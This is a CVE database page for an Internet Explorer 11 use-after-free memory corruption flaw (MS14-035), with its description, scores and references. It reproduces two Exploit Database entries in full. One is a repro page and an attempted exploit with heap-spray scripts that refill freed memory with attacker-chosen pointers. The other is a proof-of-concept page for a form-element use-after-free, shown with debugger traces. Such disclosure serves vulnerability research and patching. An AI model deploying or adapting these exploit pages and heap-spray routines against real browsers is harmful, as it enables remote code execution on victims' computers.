Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2014-1769, CVE-2014-1782, CVE-2014-2753, CVE-2014-2755, CVE-2014-2760, CVE-2014-2761, CVE-2014-2772, and CVE-2014-2776.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40946
Publication date : 2016-12-19 23h00 +00:00
Author : Skylined
EDB Verified : Yes
<!--
Source: http://blog.skylined.nl/20161220001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoEmbedPointers and when you execute document.execCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.
Repro.html:
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script type="text/javascript">
document.addEventListener("DOMNodeRemoved", function () {
document.open(); // free
// attempt to modify freed memory here
// because it will be reused after this function returns.
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete"); // allocate
};
</script>
</head>
<body>
</body>
</html>
Exploit
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
Sploit.html:
-->
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script src="cLFHSpray.js"></script>
<script src="cBlockSpray.js"></script>
<script>
var aauCopiesAndSizes = [
[0x08, 0x80],
[0x08, 0x40],
[0x08, 0x20],
[0x10, 0x80]
];
var uBaseAddress = 0x12340000;
var aoBlockSprays = new Array(aauCopiesAndSizes.length);
for (var i = 0; i < aauCopiesAndSizes.length; i++) {
aoBlockSprays[i] = new cBlockSpray(aauCopiesAndSizes[i][0], aauCopiesAndSizes[i][1]);
aoBlockSprays[i].setChunkDWord(0x0100, uBaseAddress + 0x0300);
aoBlockSprays[i].spray();
}
document.addEventListener("DOMNodeRemoved", function () {
document.open();
var oLFHReuse = new cLFHSpray(10, 0x28);
oLFHReuse.setDWord(0x10, uBaseAddress + 0x0100);
oLFHReuse.setDWord(0x14, uBaseAddress + 0x0200);
oLFHReuse.spray();
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete");
document.designMode="off";
};
</script>
</head>
<body>
</body>
</html>
<!--
########################################################################
cLFHSpray.js:
function cLFHSpray(uCount, uSize) {
this.aoElements = new Array(uCount);
var auSprayChars = new Array(uSize - 1 >> 1);
for (var i = 0; i < auSprayChars.length; i++) {
auSprayChars[i] = ((i & 0xFF) * 0x202 + 0x100) & 0xFFFF;
}
this.setDWord = function(uOffset, uValue) {
this.setWord(uOffset, uValue & 0xFFFF);
this.setWord(uOffset + 2, uValue >>> 16);
}
this.setWord = function(uOffset, uValue) {
this.setByte(uOffset, uValue & 0xFF);
this.setByte(uOffset + 1, uValue >>> 8);
}
this.setByte = function(uOffset, uValue) {
var uCharOffset = uOffset >> 1;
var uByte0 = (uOffset & 1 ? auSprayChars[uCharOffset] : uValue) & 0xFF;
var uByte1 = (uOffset & 1 ? uValue : (auSprayChars[uCharOffset] >> 8)) & 0xFF;
auSprayChars[uCharOffset] = uByte0 + (uByte1 << 8);
}
this.spray = function() {
var sSprayBuffer = String.fromCharCode.apply(0, auSprayChars);
for (var i = 0; i < uCount; i++) {
this.aoElements[i] = document.createElement("span"); // allocate 0x34 bytes
this.aoElements[i].className = sSprayBuffer; // allocate 0x10, uSize and 0x40 bytes.
}
}
}
########################################################################
cBlockSpray.js:
var cBlockSpray = (function() {
var uChunkSize = 0x10000;
var uBlockHeaderSize = 0x10;
var uBlockFooterSize = 0x04;
var asChunkTemplate = new Array(uChunkSize / 2);
for (var uIndex = 0; uIndex < asChunkTemplate.length; uIndex += 2) {
asChunkTemplate[uIndex] = String.fromCharCode(uIndex);
asChunkTemplate[uIndex + 1] = String.fromCharCode(0xDEAD);
}
return function cBlockSpray(uBlockCount, uChunkCount) {
this.uBlockSize = uChunkCount * uChunkSize - uBlockHeaderSize - uBlockFooterSize;
var sChunk = asChunkTemplate.join("");
var sBlock, asBlocks = new Array(uBlockCount);
this.setChunkDWord = function (uOffset, uValue) {
this.setChunkWord(uOffset, uValue & 0xFFFF);
this.setChunkWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setChunkWord = function (uOffset, uValue) {
if (sBlock) throw new Error("Cannot set chunk values after generating block");
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
if (uOffset >= uChunkSize) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + uChunkSize.toString(16));
var uIndex = uOffset / 2;
var sValue = String.fromCharCode(uValue & 0xFFFF);
sChunk = sChunk.substr(0, uIndex) + sValue + sChunk.substr(uIndex + 1);
}
this.generateBlock = function () {
if (sBlock) throw new Error("Cannot generating block twice");
sBlock = (
sChunk.substr(uBlockHeaderSize / 2) +
new Array(uChunkCount - 1).join(sChunk) +
sChunk.substr(0, (uChunkSize - uBlockFooterSize) / 2)
);
}
this.setBlockDWord = function (uOffset, uValue) {
this.setBlockWord(uOffset, uValue & 0xFFFF);
this.setBlockWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setBlockWord = function (uOffset, uValue) {
if (!sBlock) this.generateBlock();
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
var uIndex = (uOffset - uBlockHeaderSize) / 2;
if (uIndex < 0) throw new Error("uOffset (" + uOffset.toString(16) + ") must be larger than 0x" + uBlockHeaderSize.toString(16));
if (uIndex >= sBlock.length) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + (uBlockHeaderSize + sBlock.length * 2).toString(16));
var sValue = String.fromCharCode(uValue & 0xFFFF);
sBlock = sBlock.substr(0, uIndex) + sValue + sBlock.substr(uIndex + 1);
}
this.spray = function() {
if (!sBlock) this.generateBlock();
for (var i = 0; i < uBlockCount; i++) {
asBlocks[i] = ("" + sBlock).slice(0);
}
}
}
})();
Time-line
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->
Exploit Database EDB-ID : 34010
Publication date : 2014-07-07 22h00 +00:00
Author : Drozdova Liudmila
EDB Verified : No
<!--
Exploit Title: MS14-035 Internet Explorer CFormElement Use-after-free and memory corruption POC (no crash! see trace)
Product: Internet Explorer
Vulnerable version: 9,10
Date: 8.07.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 9,10
CVE : unknown
-->
<html>
<body>
<form id="form1">
<input id="input1" type="text" value="">
</form>
<script>
loaded = false ;
function func() {
if (loaded) {
document.body.innerHTML = "" ; // free CFormElement
}
}
input1 = document.getElementById("input1") ;
input1.onclick = func ;
loaded = true ;
input1.click(); // Call DoClick function
</script>
</body>
</html>
<!--
Vulnerability details
MSHTML!CInput::DoClick
66943670 8bcf mov ecx,edi
66943672 ff751c push dword ptr [ebp+1Ch]
66943675 ff7518 push dword ptr [ebp+18h]
66943678 ff7514 push dword ptr [ebp+14h]
6694367b ff7510 push dword ptr [ebp+10h]
6694367e ff750c push dword ptr [ebp+0Ch]
66943681 ff7508 push dword ptr [ebp+8] <---- esi = CFormElement
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf) <--- call of func() in javascript, free esi
66943689 85db test ebx,ebx
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695)
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 ; memory corruption, write to freed memory
66943691 836668fe and dword ptr [esi+68h],0FFFFFFFEh ; memory corruption, write to freed memory
MSHTML!CInput::DoClick+0x60:
66943681 ff7508 push dword ptr [ebp+8] ss:0023:023ec994=00000000
0:005> p
eax=00000001 ebx=00000001 ecx=00317540 edx=66943621 esi=0034cd20 edi=00317540
eip=66943684 esp=023ec95c ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x63:
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf)
0:005> dds esi l1
0034cd20 6661ead8 MSHTML!CFormElement::`vftable'
0:005> !heap -x esi <-- esi contains valid pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - c LFH;busy
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=66943689 esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!CInput::DoClick+0x68:
66943689 85db test ebx,ebx
0:005> dds esi l1
0034cd20 6661005c MSHTML!CSVGPathSegCurvetoCubicAbs::`vftable'+0x12c
0:005> !heap -x esi <-- esi contains freed pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - 0 LFH;free
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368b esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6a:
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695) [br=0]
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368d esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6c:
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001
-->
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 11
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
References
http://packetstormsecurity.com/files/140233/Microsoft-Internet-Explorer-11-MSHTML-CSpliceTreeEngine-RemoveSplice-Use-After-Free.html
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-035
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
2025©
tesweb SA
